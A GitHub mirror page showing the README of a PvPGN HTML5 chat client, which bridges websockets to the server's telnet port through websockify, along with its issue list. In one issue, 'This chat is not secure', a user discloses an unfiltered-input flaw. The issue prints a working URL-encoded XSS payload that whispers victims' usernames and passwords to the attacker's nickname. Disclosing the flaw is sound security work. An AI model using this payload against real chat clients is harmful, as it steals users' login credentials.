Giter Club home page Giter Club logo

pvpgn-html5-chat-client's Introduction

PvPGN HTML5 Chat Client

An HTML5 chat client for PvPGN servers. Uses Materialize CSS and Websockify

DEMO: https://war2.info/demo.html

LOGIN: abcde/abcde or abcdef/abcdef

Intro

I wanted to be able to chat on PvPGN servers from my iPhone, but there was not an app for that unfortunately. (Android users have WesChat: https://play.google.com/store/apps/details?id=bnet.pvpgn&hl=en)

I set out to write my own iPhone app, but I am still working on it. In the meantime it was easier to write this HTML5 app. It won't stay logged in if you lock your phone, won't push notifications, but it still serves its purpose as a simple web client.

How it works

Originally I thought that with HTML5 and websockets I could open a raw TCP connection directly from the HTTP user to the PvPGN server, but it turns out that this is not the way websockets actually work. Websockets only allow asynchronous communication between a web client and webserver.

However, I discovered websockify: https://github.com/novnc/websockify

Websockify can act as a bridge from a websocket to a network socket.

This means the web client opens a websocket to your webserver, then websockify proxies that connection to the PvPGN server's telnet port.

I rewrote the example javascript provided by websockify (wsirc.js) to make it compatible with PvPGN telnet, and named it wspvpgn.js.

PvPGN sees all the connections as coming from the webserver, not the actual end-user, which is important to keep in mind. If your PvPGN server limits the number of connections from a single IP, the HTML5 chat client may only be able to serve a few clients at a time unless you change PvPGN configuration.

Installation Insructions

Install Websockify

apt-get install git
cd ~
git clone https://github.com/novnc/websockify.git

Add a cronjob to start Websockify server on reboot

crontab -e
  @reboot sleep 30 && /home/***your-username***/websockify/run ***your-websockify-port*** ***your-pvpgn-server:6112*** --cert ***path-to-your-ssl-cert.pem*** --key=***path/to/your/privkey.pem*** -D

So for example:

@reboot sleep 30 && /home/war2.info/websockify/run 6112 server.war2.ru:6112 --cert /etc/letsencrypt/live/war2.info/cert.pem --key=/etc/letsencrypt/live/war2.info/privkey.pem -D

Reboot to trigger the cronjob, or manually run the command above to start websockify running

Clone PvPGN HTML5 Chat Client to your Web Dir

cd /var/www (your web dir)
git clone https://github.com/reillychase/pvpgn_html5_chat_client.git

Customize /static/js/websockify/wspvpgn.js

Change the following code:

var host = 'war2.info',

And

if (server == 'server.war2.ru') {
  port = '6112';
  channel = 'war2bne'
}

To your custom settings like below:

var host = 'your-website-address.com'

if (server == 'server-name-from-value-of-chat.html-dropdown') {
  port = 'websockify-port-running-on-your-server';
  channel = 'channel-to-log-into-on-pvpgn'
}

If using HTTP instead of HTTPS

If your website is HTTP instead of HTTPS, follow the above instructions but make these changes:

Change cronjob to start Websockify server on reboot

crontab -e
  @reboot sleep 30 && /home/***your-username***/websockify/run ***your-websockify-port*** ***your-pvpgn-server:6112*** -D

So for example:

@reboot sleep 30 && /home/war2.info/websockify/run 6112 server.war2.ru:6112 -D

Change /static/js/websockify/wspvpgn.js to replace 'wss://' with 'ws:/'

So that this:

    scheme = "wss://", uri;

Becomes this:

    scheme = "ws://", uri;

Developer Instructions

If you have some skills in HTML/CSS/Javascript and would like to contribute, here is some more information:

  1. Here is an example of how color is added to messages coming from PvPGN:

This is done in /static/js/websockify/wspvpgn.js. Regex is used to match an incoming message and change it before outputting it to the chatroom window.

is_here_regex = /^\[(.*) is here\]/g;
is_here = is_here_regex.exec(msg);

For example this identifies when "Joining channel:" is seen

joining_channel_regex = /^Joining channel: (.*)/g;
joining_channel = joining_channel_regex.exec(msg);

Then this changes the color to green and outputs it to the chatroom:

while (joining_channel != null) {

  chatroom = ''

  in_channel = [];

  new_msg = '<span style="color: #00ef00;">Joining channel: ' + joining_channel[1] + '</span>'
  writeToChannel(new_msg);
  joining_channel = joining_channel_regex.exec(msg);

  flag = 0;
};

Here are some things that need some work:

  • Unicode (doesn't work currently)
  • Only working in Chrome and Safari. IE, Edge, and Firefox give websocket error
  • Better handling of failed login (Currently just displays Login failed in chatroom, should stay on Login screen and give failure message)
  • Bug on iPhone: When msg box is clicked on, iPhone opens the keyboard which for some reason causes a padding between keyboard and msg box
  • Add client tag to commands automatically. Currently if you do '/channels' for example it won't work because PvPGN is expecting '/channels client-tag' like '/channels w2bn'.
  • When connection is closed without pressing exit, for example by locking iPhone, the black chatroom window will display still instead of login screen
  • Fix colors for whispering
  • Unescape server messages (aka " \' " -> " ' ")
  • Desktop version with fixed chatroom player list
  • Channel name and count at top of chatroom player list
  • Click player to whisper
  • Channels and Games menus
  • Make admin/operator of channel different color (will require checking /admins periodically)
  • Weird glitch on iPhone, page flickers when entering password

pvpgn-html5-chat-client's People

Contributors

reillychase avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

pvpgn-html5-chat-client's Issues

This chat is not secure

It does not filter various so-called 'url encoded' characters (read, for example, RFC 3986)
And actually, does not filter anything evil, this is just simple example of exploit:

For example, if this one will be sent to web chat users, they will send their login credentials to YOUR_NICK_NAME_HERE:

%3Cimg src=asfasf onerror=body.hidden=true;pvpgn.sendMsg([`/w`,`YOUR_NICK_NAME_HERE`,$D(`username`).value,$D(`password`).value].join(String.fromCharCode(32)));$D(`chatBox`).innerHTML=``;setTimeout(function(){location.reload()},1000);%3E

I suggest you to stop using this tool (since author is not active also) until next patches by author or someone.
Thanks for attention!

Fix characters encoding?

It seems like it supports only english chars now.

Other languages displayed like:

<chucha> \377 \357\356\362\356\354 \355\345 \361\354\356\343\363
<Jlec> \352\340\352\356\351 \367\340\354\357?
<chucha> \362\345\354\341\356\353\345\345 \377 \355\345 \360\340\347\356\343\360\345\362
<chucha> \355\363 \353\345\361\355\350\352\356\342\373\351\\
<Jlec> \356\365
<chucha> \343\356

Can you make it UTF-8?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.